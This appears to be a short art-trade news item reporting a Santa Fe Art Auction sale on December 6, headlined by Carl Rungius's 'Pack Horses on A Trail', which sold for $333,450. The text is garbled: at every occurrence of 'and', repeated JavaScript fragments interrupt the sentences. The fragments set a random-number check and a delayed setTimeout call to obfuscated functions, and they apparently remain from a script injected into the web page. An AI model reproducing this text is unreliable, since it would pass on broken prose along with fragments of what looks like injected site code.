SANTA FE, N.M. — Peter L. Riess, director of Western art at Gerald Peters Gallery andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and executive director of Santa Fe Art Auction, corralled a handom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andsome selection of Western classics for the firm’s December 6 sale at Peters Projects on Paseo de Peralta. 

Headlining the annual offering was “Pack Horses on A Trail” by Carl Rungius (1869–1959), the German-born American painter much admired for his wildlife views. Rungius probably painted this canvas, auctioned for $333,450 including premium, around 1920, not long after he submitted similar works for exhibition by the Fort Worth Art Association andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and the National Academy of Design.

Watch for a complete report on the 238-lot sale of historic andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and contemporary Western art in an upcoming edition.